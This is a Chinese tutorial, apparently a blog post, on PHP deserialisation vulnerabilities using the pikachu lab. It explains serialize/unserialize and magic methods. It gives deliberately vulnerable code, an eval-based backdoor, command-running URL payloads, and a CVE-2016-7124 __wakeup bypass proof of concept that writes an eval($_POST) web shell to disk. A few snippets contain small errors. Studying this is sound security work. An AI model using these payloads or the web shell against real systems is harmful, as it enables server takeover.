现在的位置: 首页 > 综合 > 正文

渗透测试之pikachu PHP反序列化

2019年11月15日 综合 ⁄ 共 4505字 ⁄ 字号 评论关闭

  1. 概述 序列化与反序列化

  序列化函数serialize()

  序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

  class S{

  public $test="pikachu";

  }

  $s=new S(); //创建一个对象

  serialize($s); //把这个对象进行序列化

  序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}

  O:代表object

  1:代表对象名字长度为一个字符

  S:对象的名称

  1:代表对象里面有一个变量

  s:数据类型

  4:变量名称的长度

  test:变量名称

  s:数据类型

  7:变量值的长度

  pikachu:变量值

  反序列化unserialize()

  就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用

  $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");

  echo $u->test; //得到的结果为pikachu

  序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

  在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被自动调用,即所谓的魔法函数。它们在面向对向编程中起着至关重要的作用

  常见的几个魔法函数:

  __construct()当一个对象创建时被调用

  __destruct()当一个对象销毁时被调用

  __toString()当一个对象被当作一个字符串使用

  __sleep() 在对象在被序列化之前运行

  __wakeup将在序列化之后立即被调用

  漏洞举例:

  class S{

  var $test = "pikachu";

  function __destruct(){

  echo $this->test;

  }

  }

  $s = $_GET['test'];

  @$unser = unserialize($a);

  payload:O:1:"S":1:{s:4:"test";s:29:"";}

  2. 序列化基础知识

  把复杂的数据类型压缩到一个字符串中

  serialize() 把变量和它们的值编码成文本形式

  unserialize() 恢复原先变量

  创建一个数组$arr数组用于存储用户基本信息,并在浏览器中查看结果

  Class a{

  Var $test = "test";

  }

  $a = new a();

  Echo serialize($a);//序列化成为一个字符串形式

  $b=unserialize(serialize($a));//反序列化成为一个对象

  Print_r($b->test);

  ?>

  O代表结构类型为:类,1表示类名长度,接着是类名、属性(成员)个数

  大括号内分别是:属性名类型、长度、名称;值类型、长度、值

  反序列化漏洞

  PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。

  而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

  class A {

  var $test = "test";

  function __destruct(){

  echo $this->test;

  }

  }

  $a = new A();

  echo serialize($a);

  ?>

  在对象被销毁时,调用了__destruct()函数

  class A {

  var $test = "test";

  function __destruct(){

  echo $this->test;

  }

  }

  $b = $_GET["cmd"];

  $c = unserialize($b);

  //echo $c->test;

  ?>

  http://192.168.20.145/unserialize.php?cmd=O:1:%22A%22:1:{s:4:%22test%22;s:4:%22test%22;}

  http://192.168.20.145/unserialize.php?cmd=O:1:%22A%22:1:{s:4:%22test%22;s:4:%22abcd%22;}

  将在url输入的数值反序列化后销毁对象时调用了函数__destruct(),此时test对象的值是我们输入的值所赋予的

  现在我们来构造一个反序列化的马子

  class A {

  var $test = "test";

  function __destruct(){

  @eval($this->test);

  }

  }

  $b = $_GET["cmd"];

  $len=strlen($_GET["cmd"])+1;

  $d = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$b.";\";}";

  $c = unserialize($d);

  //echo $c->test;

  ?>

  http://192.168.20.145/unserialize.php?cmd=phpinfo();

  自动识别输入cmd后的内容长度 用"."来拼接成为一个$d

  http://192.168.20.145/unserialize.php?cmd=O:1:%22A%22:2:{s:4:%22test%22;s:5:%22`dir`%22;s:5:%22test1%22;s:6:%22`dir1`%22;}

  class A {

  var $test = "test";

  function __destruct(){

  echo $this->test;

  }

  }

  $b = $_GET["cmd"];

  echo $b;

  $c = unserialize($b);

  //echo `dir`;

  ?>

  http://192.168.20.145/unserialize.php?cmd=O:1:%22A%22:2:{s:4:%22test%22;s:5:%22`dir`%22;s:5:%22test1%22;s:6:%22`dir1`%22;}

  class A {

  var $test = "test";

  function __destruct(){

  echo $this->test1;

  }

  }

  $b = $_GET["cmd"];

  echo $b;

  $c = unserialize($b);

  //echo unserialize($b);

  ?>

  传入两个变量 test 和 test1 其中test的值为`dir` test1的值为`dir1`

  当函数调用时调用的是传入的值

  3. php序列化入门

  绕过魔法函数的反序列化漏洞

  漏洞编号cve-2016-7124

  魔法函数sleep() 和wakeup()

  Unserialize()执行的时候回检查是否存在一个wakeup()方法 如果存在则会首先调用wakeup方法 预先准备对象所需要的资源 wakeup()经常用在反序列的操作中 例如重新建立数据库连接 sleep()刚好相反是用在序列化一个对象的时候被调用

  漏洞剖析

  php5 <5.6.25 php7 >7.0.10

  反序列化字符串中表示对象属性个数的值大于真实的属性个数的时候 会跳过wakeup()的执行

  正常情况下

  Class A{

  Var $test = "hello word";

  function __wakeup(){

  Echo 'hello 123';

  }

  function __destruct(){

  Echo '234';

  }

  }

  //$a = new A();

  //$b = serialize($a);

  //Echo $b;

  $a = 'O:1:"A":1:{s:4:"test";s:10:"hello word";}';

  unserialize($a);

  ?>

  先调用了wakeup函数再调用了destruct函数

  绕过wakeup函数 表示对象属性个数的值大于真实的属性个数

  Class A{

  Var $test = "hello word";

  function __wakeup(){

  Echo 'hello 123';

  }

  function __destruct(){

  Echo '234';

  }

  }

  //$a = new A();

  //$b = serialize($a);

  //Echo $b;

  $a = 'O:1:"A":2:{s:4:"test";s:10:"hello word";}';

  unserialize($a);

  ?>

  在序列化的时候只调用了destruct方法 得到的a变量值为test 将值写入shell.php文件

  class A{

  var $a = "test";

  function __destruct(){

  $fp = fopen("C:\shell.php","w");

  fputs($fp,$this->a);

  fclose($fp);

  }

  function __wakeup(){

  foreach(get_object_vars($this) as $k => $v){

  $this->$k =null;

  };}}

  $a = new A();

  echo serialize($a);

  //$a = $_GET[cmd];

  //$clasn = unserialize($a);

  ?>

  class A{

  var $a = "test";

  function __destruct(){

  $fp = fopen("C:\shell.php","w");

  fputs($fp,$this->a);

  fclose($fp);

  }

  function __wakeup(){

  foreach(get_object_vars($this) as $k => $v){

  $this->$k =null;

  };}}

  //$a = new A();

  //echo serialize($a);

  $a = $_GET[cmd];

  $clasn = unserialize($a);

  ?>

  poc如下

  http://192.168.20.145/unserialize.php?cmd=O:1:%22A%22:2:{s:1:%22a%22;s:27:%22%3C?php%20eval($_POST[%22hp%22]);?%3E%22;}

  直接会写一个shell进去

抱歉!评论已关闭.